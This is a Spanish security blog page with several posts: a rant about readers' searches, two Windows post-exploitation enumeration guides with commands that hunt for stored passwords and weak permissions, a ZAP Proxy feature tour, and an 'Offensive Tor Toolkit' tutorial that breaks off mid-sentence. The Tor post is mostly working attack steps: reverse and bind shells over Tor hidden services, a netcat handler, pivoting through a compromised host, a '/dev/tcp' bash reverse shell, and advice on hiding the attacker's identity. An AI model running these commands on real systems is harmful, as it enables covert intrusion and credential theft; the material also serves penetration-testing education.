Categorías
Hacking

Las cosas que busca la gente.

A veces me paso por la consola de administración del blog para ver un poco el movimiento de los post publicados, los filtros de búsqueda que han usado los usuarios para llegar a cada artículo o simplemente para aprobar o marcar como spam comentarios. En los años que lleva este blog activo he visto de todo y muchas veces al ver lo que la gente pone he dicho “WTF!!!”, especialmente con aquellas entradas relacionadas con TOR y la deep web. Por ejemplo:

Esto es solo un pantallazo y salvo lo de “como buscar porno real de personas por su nombre en guadalajara en paginas ocultas orbot”, no hay nada nuevo bajo el sol, no?. No obstante hay otros términos de búsqueda parecidos que inicialmente me hacen gracia porque pienso «¿a quién c…..s se le ocurre buscar eso?», pero luego no puedo evitar pensar que posiblemente alguno de estos puede ser mi vecino o una persona con la que me cruzo habitualmente y ya no me parece tan gracioso, por ejemplo:

Espera, que hay más.

Criterios de búsqueda como estos los he registrado desde que he abierto este blog y hay cientos. Luego los comentarios que hace la gente tampoco se quedan atrás.

Otro más…

Comentarios por este estilo hay cientos…

Hace muchos años empecé a investigar sobre anonimato y redes anónimas, recuerdo que lo hice por un motivo muy simple: Por aquel entonces no entendía prácticamente NADA de lo que leía sobre TOR o redes del tipo I2P. Cuando veía términos como “introduction points”, “protocolo onion”, “cifrado garlic”, “rendezvous points”, “DHT”, “Kademlia”, etc. Veía claramente que si conseguía entender el funcionamiento de estas soluciones, iba a aprender muchísimo por el camino y creo que no me equivocaba. Aprender sobre el funcionamiento de TOR, I2P o Freenet requiere una serie de conocimientos previos relacionados con networking, criptografía e incluso programación. Creía que muchas personas lo verían del mismo modo que yo y por ese motivo, en el 2010 o por ahí, escribí una serie completa de lo que había aprendido, un total de 42 artículos en los que intenté explicar de la manera más detallada que pude las cosas que aprendí en mis investigaciones sobre el tema. Recuerdo que me encanto escribir sobre esto aunque probablemente todo lo escribí demasiado rápido y no tan bien, pero unos pocos años después pude pulir los contenidos y afinar conocimientos lo que me permitió publicar un libro en 0xWORD sobre anonimato y privacidad. Mucho tiempo ha pasado desde que empecé a aprender sobre el funcionamiento de estas redes, en una época en donde prácticamente nadie sabia sobre el tema en profundidad (y los que sabían no solían compartir abiertamente y puedo entender el motivo). Fueron muchas horas de estudio y a día de hoy, lo volvería hacer ya que mi stack de cosas por aprender no llegará nunca a desbordarse. Los que me conocéis en persona sabéis que la informática siempre ha sido lo mio, es mi vocación y disfruto aprendiendo sobre tecnología aunque sé que una vida no será bastante para aprender todo lo que quiero saber. Intento compartir lo que aprendo en este blog en la medida en la que puedo, sin embargo, viendo cosas como las anteriores me hacen pensar sobre el público que me está leyendo y resulta un poco desmotivante e incluso frustrante. No significa que vaya dejar de escribir cada vez que tenga oportunidad, solamente que hay temas sobre los que escribiré con menos frecuencia que otros ya que visto lo visto, es lo más prudente.

Las cosas que busca la gente… este blog no es uno de los que más tráfico genera en lo que se refiere a temas de Hacking pero aún así, me resulta sorprendente ver estas cosas y me pregunto si en otros blogs de esta temática se ve la misma tendencia. Parece que el interés que despierta la ciberseguridad en la sociedad en muchos casos no es tan «legitimo» o enfocado al «camino del hacker» tal como en mis inicios lo entendía y ya no solo por las barbaridades que se ven en búsquedas y comentarios, sino también por la misma actitud de las personas que se quieren introducir en esto o las que ya llevan un tiempo, sobre todo por  las cosas que NO buscan…  ¿Qué veo? de manera muy resumida:

  • Gente que quiere meterse en ciberseguridad, no porque les guste sino porque es donde supuestamente «hay trabajo» y «falta talento». Ambas premisas no son exactas y la segunda muy especialmente, da para una noche entera de chistes. Si quieres entrar en ciberseguridad sin experiencia ni bases en informática, tienes que tener muy claro que no será un camino fácil y probablemente para ti será como escalar una montaña así que solamente puedo decir dos cosas: 1. Si eres una persona en esa situación y después de probar ves que es lo que realmente te gusta entonces insiste, persevera, lucha. Ese es el autentico camino y filosofía del hacking (lee este post que escribí hace unos años si quieres) y 2. Debes ser honesto contigo mismo. Si esto no es lo tuyo y realmente no es lo que más te llama, no insistas. Creo que hay pocas cosas que pueden destrozar más a una persona a nivel psicológico y emocional como trabajar en algo que odia y créeme, si esto realmente no te gusta lo terminarás odiando y posiblemente, dedicándote a otra cosa, con lo cual tu esfuerzo habrá sido para nada. Lo he visto muchas veces ya en los años que llevo trabajando en esto.
  • Oye Adastra, ¿cómo instalo Kali?. Oye Adastra, me da un error de no sé qué ImportError al ejecutar un script en Python ¿Qué puede ser?. Oye Adastra, ¿qué diferencia hay entre el python 2 y el python 3? ¿cuál me recomiendas?. Oye Adastra, ¿Ni el ZAP, ni el Burp, ni los metasplois, ni nada en automático me saca vulns qué hago?. Oye Adastra, ¿He abierto una cosa que se llama vi y no sé como cerrarlo?. Oye Adastra, que el metaexploits me da un error de no sé qué gemas ¿cómo lo arreglo?. Oye Adastra, ¿qué es un hash?. Oye Adastra, que soy muy hacker y sé usar netcat y socat perfectamente pero ¿cómo hago una reverse shell con eso? o ¿cómo hago esa cosa que decías que era un túnel o algo así? pero que quede claro que soy muy hacker y mucho hacker. Oye Adastra, que quiero aprender pero no se por dónde empezar ¿qué hago? (anda que no hay sitios en los que responden hasta la saciedad esa pregunta, aquí uno ). Oye Adastra ¿Qué Linux me instalo en una vm?. Oye Adastra, que pasah Illo! que no me funsiona nah de eso de los kalis pa jakiah!, qué hago?!. Oye Adastra, Me sale «command not found» ¿qué hago?. Oye Adastra, ¿dónde puedo comprar tus libros de 0xWord?. Oye Adastra, hay una máquina en HTB que no sé como explotar ¿Me dices cómo la exploto? Mejor si me grabas un vídeo con la guía para poder hacerlo yo. Oye Adastra, ¿Qué es mejor Kali o Linux?. Oye Adastra, Me he comprado un ordenador y no enciende, ¿me ayudas?. Oye Adastra, lanzo el ZAP y me da no sé que de NoClassDefFoundError. Cómo lo soluciono?.
    Solo por mencionar algunas pocas preguntas que recibo en mi correo, TG, redes sociales, etc. Todas reales, ni una sola pregunta es inventada. Y ojo, sin mencionar correos o mensajes en plan «Que pasa bro ayudame ha haker el wasp de mi nobia  facebook tamvien«, «Cuanto cuestan tus servicios de hacker? quiero una cuenta de instagram»  que estoy seguro que muchos son trolleos (por cierto, con poca gracia y sin creatividad alguna) y aunque no lo sean, no merece la pena dedicarles ni 5 segundos de mi tiempo. Esto, cualquier día de la semana y a cualquier hora sin considerar que sea en la madrugada o altas horas de noche, eso al vago de turno le da igual.
    En serio… no se te ha ocurrido BUSCAR EN GOOGLE/DUCKDUCKGO/STARTPAGE/BING/YAHOO/BAIDU/ASK/DOGPILE/WHATEVER antes de preguntar?! Una de dos, o no has buscado bien con lo cual has de aprender otras cosas antes de meterte en hacking o has pasado olímpicamente de hacerlo y en lugar de «perder» tu tiempo has preferido que sea otro el que lo pierda por ti. La solución del vago que quiere que se lo den todo hecho sin el más mínimo esfuerzo (o las dos). A preguntas de este tipo ahora mismo les hago un RST. Ni me molesto en contestar. Mi actitud cambia completamente si veo que se trata de una persona que realmente ha intentado sacarse las castañas del fuego el/ella sólito/a y son esas las preguntas más interesantes. Ten por seguro que si tengo conocimientos sobre lo que me preguntas y se nota un esfuerzo mínimo por tu parte en solucionar tu problema o resolver tu inquietud, te contestaré con el mayor de los gustos porque compartir hace parte de mi naturaleza además, así también aprendo yo. Han sido muchas las ocasiones en las que me hacen preguntas interesantes sobre las que no tengo ni idea y eso me motiva a investigar para dar con la solución.
  • El ego. «Que soy muy hacker y mucho hacker, no necesito aprender nada de nadie que ya lo sé todo y levito sobre el suelo. Investigar y estudiar cosas técnicas es de frikis, lo mio es publicar noticias que veo por ahí por internet todos los días (y hacerle la pelota a los «cracks», claro) así me vendo como experto. Que acabo de dar una charla/podcast/streaming/whatever, me has visto? has visto cómo molo? pero ME HAS VISTO?!?! COÑO QUE SOY TODO UN CRACK!!!». A lo mejor me hago mayor, pero esas cosas ya me resultan tan cansadas que asumo una actitud de pasotismo absoluto hacia esas personas y situaciones. Aunque evidentemente, conservando el respeto que se merecen así como una distancia prudencial. Me interesa el Hacking y lo que puedo aprender de cualquiera que se dedica a esto, ya sea alguien que acaba de empezar o que lleva toda una vida en ello, eso me da exactamente igual. A lo mejor me hago mayor pero mi interés siempre ha sido el de mejorar y no los delirios de grandeza o los problemas psicológicos de nadie. Es la misma actitud que tengo hacia cualquier vago: RST, RST, RST, RST, RST. Paso completamente.

Creo que, esos tiempos en los que realmente se aplicaba la cultura del hacking, en los que la gente entendía y seguía su filosofía ya han quedado atrás o como mínimo, la perspectiva ha cambiado tanto que a mi personalmente me resulta irreconocible, al menos en España y Latam (Asia es otra historia 🙂 ).
O a lo mejor, es cosa del 2020…
y del 2019,
y del 2018,
y del 2017,
y del 2016,
y del 2015…
…..
…..
…..
…..
…..
…..

En fin. Seguiré mi camino e intentaré ser consecuente con las premisas del Dojo Kun, que en mi opinión, representa la esencia misma del hacking tal como lo explique en un post hace algunos años aquí.
Espero poder aprender de ti y por supuesto, aportar aunque sea un poco con lo que sé.

Un saludo y Happy ZASCA.
Adastra.

Categorías
Explotación de Software Hacking Networking Services - Software

Enumeración en Windows para Post-Explotación – Parte 2.

Siguiendo con lo que se ha explicado durante la primera parte de estas entradas sobre enumeración y post-explotación básica en sistemas Windows, se listan a continuación otros detalles interesantes que hay que explorar, teniendo en cuenta que aunque hay scripts y herramientas que ya hacen este tipo de labores de forma automática, resulta conveniente saber cómo llevar a cabo el proceso y seguir la metodología manualmente. Hacerlo así le permite al pentester analizar de una forma más detallada la información, evitar cualquier descuido o pasar por alto algún detalle interesante/importante.

Búsqueda de ficheros y directorios.

En sistemas Linux es común ejecutar comandos como «find» o «locate» con el objetivo de encontrar ficheros con permisos o características especiales, por ejemplo aquellos cuyo usuario es root y tienen permisos demasiado abiertos o que tienen el SUID habilitado, entre otras cosas. Esto en Windows también se tiene en cuenta durante el proceso de enumeración. Se cuenta con los comandos dir, icacls o find.
El comando dir permite realizar búsquedas muy especificas sobre un directorio concreto y listar aquellos contenidos que pueden resultar de interés. La sintaxis es simple, el siguiente comando permite buscar por un fichero concreto en la estructura de directorios:
C:\> dir /b /s [Directorio]\[NombreFichero]

Por ejemplo, algunas instrucciones útiles con dir incluyen:

dir /s *pass* == *cred* == *vnc* == *.config*
findstr /si password *.xml *.ini *.txt

El comando «find» en Windows es similar al «grep» en Linux y permitirá filtrar los resultados, por ejemplo se podrá simplemente contar el número de resultados devueltos por el comando «dir» sin enseñar los resultados con un comando como el siguiente:
C:\> [ComandoDIR] | find /c /v «»

Con la opción /c se cuenta el número de líneas devueltas y con /v indica que enseñe las lineas que no contienen nada («»).

El comando icacls también resulta útil para obtener información sobre permisos débiles en ficheros almacenados en el sistema. Por ejemplo:

icacls «C:\Program Files\*» | findstr «(F)» | findstr «Everyone»
icacls «C:\Program Files (x86)\*» | findstr «(F)» | findstr «Everyone»

Permitirá listar aquellos ficheros en los directorios indicados que tienen todos los permisos habilitados para todos los usuarios.

Entorno de red

En la etapa de post-explotación y enumeración del sistema también interesa obtener detalles sobre el entorno de red, por ejemplo, conexiones que se encuentran establecidas con otros sistemas, puertos abiertos e interfaces de red. Esto último es especialmente interesante de cara a aplicar técnicas de pivoting y port-forwarding. Para ello se cuenta con los típicos comandos ipconfig, netstat, arp y route

El comando netsh también resulta útil en esta etapa con el objetivo de ver el estado del firewall e incluso, en algunos casos, para crear túneles que permitan pivotar en un entorno de red local que podría no ser accesible para el atacante.

Netsh en sistemas Windows es muy flexible y potente a la hora de configurar el entorno de red. Permite establecer el modo de asignación de IPs, ya sea vía DHCP o asignación manual. También permite habilitar o deshabilitar el Firewall de Windows, si se cuenta con los privilegios adecuados como resulta evidente.

Por otro lado, el comando route también es importante para entender el entorno de red en el que se encuentra el sistema comprometido.

 

Tareas programadas.

Otro elemento importante de la lista de pruebas que se deben efectuar en la etapa de enumeración del sistema consiste en obtener información sobre las tareas programadas que se encuentran en ejecución. Ver detalles como por ejemplo el usuario con el que se ejecutan dichas tareas, la periodicidad o si se puede cambiar su configuración son cuestiones de gran interés a la hora de elevar privilegios. Nuevamente, existen comandos en sistemas Windows que permiten obtener este tipo de información de cara a un proceso de elevación de privilegios o de post-explotación.

Por otro lado, aunque lo siguiente realmente se probaría en la etapa del listado de servicios y características, es importante detectar aquellos servicios que pueden ser vulnerables a Unquoted Service Path. Para ello se puede utilizar WMIC y listar aquellos servicios que se encuentran habilitados en el sistema y se prestan a dicha situación.

En este caso, se puede ver concretamente un servicio cuyo binario no se ha especificado con las comillas dobles, si se ubica un programa malicioso en «C:\\Program.exe», ¿qué hará Windows? 🙂

En este post se han listado algunas otras pruebas que se llevan a cabo en post-explotación de sistemas Windows, siendo aún cuestiones muy básicas y tal como se ha mencionado en la entrada anterior, este tipo de operaciones también se pueden realizar con Powershell o incluso con herramientas automatizadas como Metasploit Framework, Empire Framework (del que ya se ha hablado en este blog) o incluso IBombShell, de la que se hablará próximamente.

Un saludo y Happy Hack!
Adastra.

 

Categorías
Hacking

Enumeración en Windows para Post-Explotación – Parte 1.

Es bien conocido que un proceso de post-explotación se basa principalmente en llevar a cabo una buena enumeración del sistema, así como saber analizar e interpretar la información obtenida. Evidentemente, dependiendo del sistema el procedimiento puede ser distinto desde un punto de vista técnico, pero desde una perspectiva funcional la metodología aplicada es en esencia la misma. En este post se hablará de algunos comandos útiles en un sistema Windows que se pueden ejecutar desde una consola con privilegios limitados, una situación bastante habitual después de completar la etapa de explotación del sistema.

Gestión de claves en el registro.

Una de las primeras cosas que hay que entender de Windows es que muchas de las características más potentes del sistema operativo se gestionan por medio del registro, esto significa que es especialmente interesante poder manipular las claves que se encuentran almacenadas en él. Para ello se puede utilizar el comando «reg», powershell, desde una sesión meterpreter generada con Metasploit, con Koadic o incluso con Pupy. Existen múltiples alternativas para hacer esto. En el caso de contar con una shell simple en el sistema comprometido posiblemente la mejor alternativa sería utilizar el comando «reg» el cual es sencillo y tiene la siguiente sintaxis:

Consultar una clave: C:\> reg query [\\IP|DOMINIO\]\[Clave] /v [NombreValor]

Añadir una clave: C:\> reg add [\\IP|DOMINIO\]\[Clave]

Exportar una clave: C:\> reg export [\\IP|DOMINIO\]\[Clave] [Fichero.reg]

Importar una clave: C:\> reg import [Fichero.reg]

Por ejemplo, para consultar la tan conocida clave «Winlogon», se podría ejecutar el siguiente comando.

Manipular las claves que se leen por parte del sistema operativo durante el arranque del sistema o inicio de sesión de algún usuario es útil para establecer persistencia en el sistema.

Saber moverse por el registro y manipular sus valores es una de las primeras cosas que se podrían hacer en post-explotación, aunque evidentemente algunas de las claves requieren permisos administrativos para poder consultarlas o cambiar sus valores, un usuario regular puede realizar algunas operaciones que pueden ayudar en la elevación de privilegios. También puede ser útil para aplicar ADS (Alternate Data Streams) tal como se indica el proyecto LOLBas.
Algunas instrucciones útiles para encontrar claves sensibles en el registro incluyen:

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

En donde «password» representa una cadena que podría ser interesante, también se podría buscar algo como «creds», «user», «passwd» o cosas similares.

Uso de WMIC

Windows Management Instrumentation ha sido uno de los mecanismos más utilizados en la administración de sistemas de este tipo. Permite crear scripts o rutinas simples para consultar información sobre el sistema operativo y administrar su configuración. Es muy potente y muchos administradores de Windows lo utilizan frecuentemente. Dadas sus características viene bien para labores de post-explotación y recolección de información local en el sistema comprometido. La sintaxis del comando WMIC es la siguiente:

C:\> wmic [alias] [filtro] [verb]

En donde el «alias» representa la unidad o elemento que se desea administrar y sus posibles valores se pueden consultar con el comando wmic /? no obstante algunos de los alias más útiles son: process, service, nicconfig, startup, useraccount y qfe aunque hay bastantes más y depende de los privilegios con los que cuente el usuario. Por ejemplo:

La segunda parte del comando permite aplicar un filtro, similar a una clausula WHERE en SQL, la cual admite especificar valores para los atributos que devuelve el alias indicado y aplicar condiciones lógicas habituales (and, or, !=, ==, etc).

Finalmente la sección correspondiente al «verb» permite ejecutar algún tipo de acción después de filtrar los resultados del alias con la instrucción where. Algunas de las clausulas «verb» más comunes incluyen: list [full|brief], get [atributo2,atributo2, atributoN], call [mótodo], delete

Para listar atributos y métodos «invocables», se puede ejecutar wmic [alias] get /?  y wmic [alias] call /? respectivamente.

Resulta útil consultar la ayuda con /? para ver los elementos disponibles y luego realizar consultas más concretas que permitan recolectar información del sistema.

Información sobre procesos y servicios.

En sistemas Windows obtener este tipo de información es sencillo y puede ser útil para detectar posibles vías de elevar privilegios, por ejemplo detectando un servicio en ejecución que tiene vulnerabilidades conocidas, procesos o servicios vulnerables a DLL hijacking o servicios cuyo binario puede ser susceptible a ataques de Unquoted Service Path.
Es posible utilizar binarios disponibles en el sistema operativo propiamente dicho o por medio de frameworks como Metasploit, Koadic, Pupy, Empire, etc. Si se cuenta con una shell simple contra el sistema las utilidades tasklist y sc serán suficientes para enumerar y descubrir los casos indicados previamente.

Lista de todos los procesos en ejecución

Lista de todos los procesos en ejecución y las DLL que cada proceso tiene cargadas

Lista de todos los procesos que utilizan una librería concreta.

Lista de todos los procesos que se ejecutan en el sistema como servicios.

El comando sc en Windows también resulta muy útil para consultar información sobre los servicios del sistema operativo, incluso con éste comando también es posible crear, modificar o eliminar servicios si se cuenta con los privilegios adecuados. También es posible usar sc para iniciar/detener/reiniciar servicios.

Consulta de servicios con sc

Obtener el detalle de un servicio existente con sc

Se trata de instrucciones sencillas y directas, las cuales informan sobre el estado del sistema y permiten obtener indicios de posibles malas configuraciones e incluso alternativas para elevar privilegios.

Un saludo y Happy Hack!
Adastra.

Categorías
Hacking Programacion Services - Software Web Applications

5 funcionalidades interesantes en ZAP Proxy para Pentesting en aplicaciones web.

Cualquier pentester de aplicaciones web conoce y utiliza frecuentemente herramientas como Burp Proxy, sin embargo en ocasiones debido a la costumbre/hábito no se exploran otras alternativas interesantes o que aportan otra perspectiva para ejecutar las mismas labores. ZAP es uno de los proyectos insignia de la comunidad OWASP y a pesar de su prestigio y lo conocido que es,  en raras ocasiones se utiliza como un proxy web para capturar y manipular peticiones/respuestas como habitualmente se hace en Burp, en su lugar es más común utilizarlo como herramienta de «botón gordo» para lanzar escaneos automatizados y esperar «a ver si suena la flauta» y aparece una vulnerabilidad critica, cosa que también ocurre en muy raras ocasiones. Es posible que esto se deba a que su uso no es tan intuitivo y requiere un poco más de esfuerzo por parte del pentester pero los beneficios que aporta son innegables. A continuación se listan algunas funcionalidades interesantes en ZAP Proxy y que es posible no conozcas.

1. Gestión de Contextos.

Una de las primeras cosas que hay que comprender de ZAP es que permite crear y gestionar contextos. Un contexto define las características que tendrá la aplicación web. Entre otras cosas, el contexto permite declarar cuáles son los mecanismos de autenticación, definición de usuarios, tecnologías soportadas, gestión de usuarios y sesiones, etc. Aunque normalmente se define un contexto por aplicación, es posible incluir múltiples aplicaciones en el mismo contexto pero no es precisamente una buena práctica mezclar 2 o más aplicaciones en el mismo contexto. ZAP permite crear, eliminar y modificar contextos, además cuando se inicia la herramienta crea un contexto por defecto con el que se puede trabajar si así se desea.

2. Marketplace de extensiones.

ZAP es un sistema basado en complementos o extensiones en donde es posible incluir funcionalidades adicionales a las que vienen por defecto en la herramienta. Algunas de las más potentes e interesantes son «requester», «broken access controls», «httpsinfo», «wappalizer», «zest», entre muchas otras. Para la instalación o actualización es necesario contar con una conexión a Internet y se puede hacer desde la interfaz gráfica.

3. Manipulación de peticiones con Requester.

Capturar una petición y manipularla a gusto es una de las actividades básicas que debe realizar cualquier pentester. En ZAP esto también es posible con la extensión requester, la cual tiene una apariencia y funcionalidades muy similares al «repeater» en Burp, ya que a la izquierda se puede manipular la petición HTTP seleccionada, enviarla al servidor web y posteriormente, ver la respuesta en la sección a la derecha.

 

4. Verificación de controles de acceso.

En las aplicaciones web es común encontrar páginas, secciones o endpoints que tienen algún tipo de control de acceso basado en roles. Se trata de una característica que se debe probar cuando se realiza un pentest web y de hecho, el OWASP Top 10 incluye un punto dedicado precisamente a problemas en aplicaciones web que no gestionan correctamente las reglas basadas en los permisos que pueden tener los usuarios, permitiendo accesos no autorizados e incluso elevación de privilegios en la aplicación web (Broken Access Controls). Como pentesters es necesario realizar un mapa o «matriz» de accesos para poder comprobar qué usuarios tienen permisos a qué recursos y comprobar si esas reglas se están cumpliendo correctamente. Hacer esto puede llevar mucho tiempo, especialmente si se hace de forma manual y sobre una aplicación web con un tamaño medio en la que pueden haber cientos de páginas web y decenas de funcionalidades. Precisamente por este motivo se encuentra disponible la extensión «Access Control Testing» la cual se puede instalar directamente desde el marketplace y se configura en el contexto de la aplicación que se desea probar.

Después de que se configuran las reglas para cada uno de los usuarios de la aplicación, hay que dirigirse a la interfaz principal y en la sección inferior seleccionar «+  -> Access Control». Esto abrirá una nueva pestaña en la que se puede seleccionar el contexto en el que se han configurado las pruebas anteriormente y verificar si se están cumpliendo de forma automática.

Aunque es sencillo, hay que tener en cuenta que los resultados no siempre son correctos ya que  esta extensión verificará qué es un acceso prohibido y qué no lo es en función de lo que se encuentre configurado en la sección «Authorization» del contexto, la cual por defecto considerá que solo las respuestas HTTP 403 representan un acceso prohibido. No obstante, es posible que la aplicación web no devuelva una respuesta HTTP 403 y en su lugar, puede retornar una página web de error personalizada y un código de estado HTTP 200. En tales casos veremos muchos falsos positivos. En el mundo del hacking web lo importante no es la herramienta, sino el entendimiento que se tenga sobre la aplicación web y analizar su comportamiento de la forma más profunda y detallada posible.

5. Scripts del tipo Zest.

Durante la interacción con una aplicación web es muy común realizar las mismas labores una y otra vez. La misma interacción, acceder por las mismas páginas y seguir los mismos pasos. En el testing automático y especialmente relevante en las pruebas de calidad (QA Testing) es muy común utilizar herramientas que se basan en Selenium para crear un plan de pruebas completo de tal manera que el tester no tendrá que hacer las mismas cosas una y otra vez manualmente. Esto también puede aplicar al pentesting en aplicaciones web y en el caso de ZAP hay una característica muy interesante llamada «Zest scripting». Es muy similar a lo que se ha explicado previamente sobre Selenium, ya que solamente es necesario pinchar sobre el botón «record a new Zest Script» ubicado en la barra de herramientas en la sección superior de ZAP y empezar a navegar por aquellas páginas de la web que interesa analizar. Una vez se ha seguido el flujo completo de la funcionalidad que se desea probar, basta simplemente con detener el script y a continuación ZAP creará el árbol completo de cada una de las páginas que se han visitado, pudiendo reproducir nuevamente de forma automática toda la interacción completa con los cambios que se considere pertinentes.

En la imagen anterior se puede ver el flujo o secuencia de peticiones que se han capturado y se puede ver el Zest Script generado. Partiendo de este script es posible modificar cada una de las peticiones de forma independiente, cambiando parámetros, ejecutando un escaneo activo sobre una página concreta o cambiando el orden de las peticiones. Se pueden hacer todas las actividades que normalmente se hacen en un pentest, pero con la ventaja de que se pueden probar funcionalidades completas con bastante más flexibilidad y sin necesidad de depender del navegador web para hacer lo mismo una y otra vez.

6. Rest API.

ZAP no solamente se puede utilizar como una herramienta stand-alone para un pentester, es posible arrancar el motor de ZAP en modo «daemon» o «headless» y levantar su API Rest para que otros puedan acceder a los endpoints definidos. Esto permite que un equipo de pentesters puedan utilizar ZAP en un servidor compartido y enviarle «jobs» que se ejecutarán en segundo plano. La API es bastante completa y permite ejecutar escaneos automatizados y muchas de las funciones descritas anteriormente desde un cliente HTTP o desde cualquier script en Python u otro lenguaje. Habilitar la API es tan simple con seleccionar «Tools -> Options … -> API» en donde se puede establecer la «API Key» y otros valores de configuración.

Se trata de algunas de las características que en mi opinión son las más interesantes de ZAP y que utilizo con frecuencia, no obstante hay otras utilidades en la herramienta que merece la pena explorar, después de todo es software libre y tiene el apoyo por parte de la comunidad de OWASP.

 

Un saludo y Happy Hack!
Adastra.

Categorías
Hacking

Offensive Tor Toolkit: acceso y pivoting sobre Tor

Offensive Tor Toolkit es un conjunto de herramientas que permitirán realizar tareas de explotación y post-explotación sobre Tor de forma transparente en el lado de las víctimas. Para compilar estas herramientas, podemos simplemente usar Docker:

$ git clone https://github.com/atorrescogollo/offensive-tor-toolkit.git
$ cd ./offensive-tor-toolkit
$ docker build -t offensive-tor-toolkit .
$ docker run -v $(pwd)/dist/:/dist/ -it --rm offensive-tor-toolkit

Con esto, hemos construido la imagen, hemos arrancado un contenedor a partir de esa imagen y tendremos disponibles todas las herramientas en el directorio ./dist .

Estas herramientas solo tienen sentido en el lado de la víctima, por lo que deberían ser subidas. Para preservar el anonimato del atacante, se debería usar un servicio de terceros de subida de ficheros temporales como intermediario.

Offensive Tor Toolkit tiene dos categorías de utilidades en función del objetivo:

  • Acceso:
    • Reverse Shell over Tor
    • Hidden Bind Shell
  • Pivoting
    • Hidden Portforwarding
    • TCP2Tor Proxy

A continuación, explicamos el funcionamiento de cada una de las herramientas.

Acceso con Reverse Shell over Tor

En este caso, nos encontramos en una situación en la que podemos ejecutar comandos en la víctima de alguna forma. Para recibir una Reverse Shell, en el atacante, antes de nada, tenemos que publicar un Hidden Service:

$ mkdir -p -m=700 ~/.tor/hsdir/
$ cat > ~/.tor/torrc <<EOF
HiddenServiceDir $HOME/.tor/hsdir
HiddenServicePort 4444 127.0.0.1:4444
EOF
$ tor -f ~/.tor/torrc

NOTA: Podemos consultar el hostname del Hidden Service en $HOME/.tor/hsdir/hostname.

Ahora, iniciamos el handler de netcat:

$ nc -lnvp 4444

Para que la víctima se conecte a nuestro Hidden Service y llegue al handler, necesita poder conectarse a Tor y enviar la Reverse Shell a través de la instancia. De esto se va a ocupar la herramienta reverse-shell-over-tor. Lo mostramos a continuación:

$ ./reverse-shell-over-tor -listener m5et..jyd.onion:4444

Tras esta ejecución en la víctima, el atacante recibirá una sesión bash y podrá ejecutar comandos de forma interactiva:

$ nc -lvnp 4444
...
id
uid=48(apache) gid=48(apache) groups=48(apache)

NOTA: La sesión bash recibida, por defecto, no es completamente interactiva. Este método puede ser de utilidad para mejorar la experiencia.

Acceso con Hidden Bind Shell

En este caso, es la víctima quien publica el Hidden Service. Por cada conexión al Hidden Service, se ofrecerá una sesión bash distinta. Por tanto, lo primero es ejecutar la utilidad hidden-bind-shell en la víctima para que publique el Hidden Service y el dispatcher de shells:

$ ./hidden-bind-shell -data-dir /tmp/datadir/ -hiddensrvport 4444
...
Bind shell is listening on hgn...6yew.onion:4444

NOTA: En este caso, es importante indicar el parámetro -data-dir. Así, el Hidden Service siempre usará la misma dirección onion.

Una vez hemos publicado el Hidden Service en la víctima, el atacante usa su instancia de Tor para conectarse al Hidden Service y recibir la shell:

$ alias nctor='nc --proxy 127.0.0.1:9050 --proxy-type socks5'
$ nctor -v hgn...6yew.onion 4444
...
id uid=48(apache) gid=48(apache) groups=48(apache)

Pivoting con Hidden Port Forwarding

Dejamos a un lado el acceso para centrarnos en el acceso a redes internas. Supongamos que la víctima tiene acceso a un recurso de red en una red interna. Para acceder a ese recurso, necesitamos enrutar el tráfico a través de la víctima.

La utilidad hidden-portforwarding nos permitirá crear un túnel TCP cuya entrada será un puerto del atacante y, la salida, un puerto alcanzable por la víctima. De este modo, la ejecución para acceder a un servicio publicado exclusivamente en el localhost de la víctima sería la siguiente:

$ ./hidden-portforwarding -data-dir /tmp/pf-datadir -forward 127.0.0.1:8084 -hidden-port 9001
...
Forwarding xa7...4el.onion:9001 -> 127.0.0.1:8084

En este punto, el atacante solo tiene que alcanzar el Hidden Service en el puerto 9001 para comunicarse con el servicio que escucha en localhost:8084. Lo vemos a continuación:

$ alias curltor='curl -x socks5://localhost:9050'
$ curl http://xa7...4el.onion:9001
<h1>Hello World!</h1>

NOTA: En el caso de que queramos hacer el pivoting más dinámico, una buena opción sería usar hidden-portforwarding junto con Chisel. Para ver un ejemplo sobre este uso, consulta este enlace.

Pivoting inverso con TCP2Tor Proxy

Por último, supongamos una situación ligeramente diferente a las anteriores. En esta ocasión, queremos ganar acceso a una máquina que está en una red aislada sin acceso a Internet, por lo que no es capaz de conectarse a Tor. La única forma de conexión es usar una máquina previamente comprometida como pivote.

Con la utilidad tcp2tor-proxy, el pivote hará un Remote Port Forwarding. Es decir, publicará un servicio TCP alcanzable por la víctima en red aislada que enrutará el tráfico TCP a un Hidden Service controlado por el atacante.

Por tanto, el primer paso es iniciar el Hidden Service y el handler de netcat en el atacante (como vimos anteriormente):

$ mkdir -p -m=700 ~/.tor/hsdir/
$ cat > ~/.tor/torrc <<EOF
HiddenServiceDir $HOME/.tor/hsdir
HiddenServicePort 4444 127.0.0.1:4444
EOF
$ tor -f ~/.tor/torrc
$ nc -lnvp 4444

Ahora, el pivote deberá ejecutar tcp2tor-proxy del siguiente modo:

$ ./tcp2tor-proxy -listen 0.0.0.0:60101 -onion-forward m5et..jyd.onion:4444
...
Proxying 0.0.0.0:60101 -> m5et..jyd.onion:4444

En este momento, todo el tráfico TCP que llegue al pivote en el puerto 60101 alcanzará el Hidden Service del atacante y, por tanto, llegará al handler de netcat. Lo único que tiene que hacer la víctima es ejecutar una Reverse Shell simple hacia el pivote:

$ bash -i >& /dev/tcp/<PIVOTE>/60101 0>&1

Esta conexión llegará al handler y tendremos un acceso interactivo en la víctima de red aislada:

$ nc -lnvp 4444
...
id
uid=48(apache) gid=48(apache) groups=48(apache)

Conclusiones

Offensive Tor Toolkit es una suite de herramientas sencillas de usar que trata de simplificar la comunicación con Tor en el lado de la víctima. En el post de ToRAT: Reverse Shells sobre Tor, vimos una herramienta muy similar pero con diferencias muy importantes:

CaracterísticasToRATOffensive Tor Toolkit
Reverse ShellsSISI
Bind ShellsNOSI
Local Port ForwardingNOSI
Remote Port ForwardingNOSI
Dynamic Port ForwardingNOSI (con herramientas que implementen un proxy SOCKS como Chisel o Socat)
Shells interactivasNO (usa una shell propia similar a una sesión meterpreter)SI (con stty)
Metacomandos como subida y descarga de ficherosSINO
ScreenshotsSINO
Múltiples sesiones simultáneasSINO (pero se puede integrar con otras herramientas como Platypus)
Abstracción completa de uso de TorSINO (solo en la víctima)
Soporte para víctimas LinuxSISI
Soporte para víctimas WindowsSINO (de momento)

Vistas las diferencias, queda claro que el ámbito de uso es completamente distinto:

